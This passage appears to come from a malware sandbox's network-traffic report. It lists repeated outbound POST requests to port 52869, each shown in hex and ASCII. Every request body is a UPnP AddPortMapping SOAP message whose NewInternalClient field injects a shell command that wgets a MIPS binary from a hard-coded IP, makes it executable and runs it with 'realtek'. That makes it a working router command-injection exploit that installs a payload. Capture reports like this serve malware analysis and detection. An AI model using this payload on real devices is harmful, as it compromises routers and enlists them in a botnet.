6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:48.695667028 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:20.950658083 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      131192.168.2.156035045.195.121.20252869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:17.610538006 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:19.224543095 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:21.112456083 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:24.888314009 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:32.568133116 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
